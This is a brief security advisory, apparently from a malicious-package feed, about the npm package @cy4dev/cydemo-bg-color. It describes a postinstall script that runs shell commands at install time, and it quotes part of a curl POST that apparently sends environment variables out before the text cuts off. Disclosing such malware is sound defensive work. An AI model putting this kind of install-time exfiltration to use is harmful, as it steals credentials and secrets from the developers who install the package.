Malicious code in @cy4dev/cydemo-bg-color (npm)

Source: amazon-inspector 5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0 @cy4dev/[email protected] ships a postinstall lifecycle script src/postinstall.js that runs at npm install time and invokes node:childprocess.exec with two shell commands. The first, curl -X POST -d \env...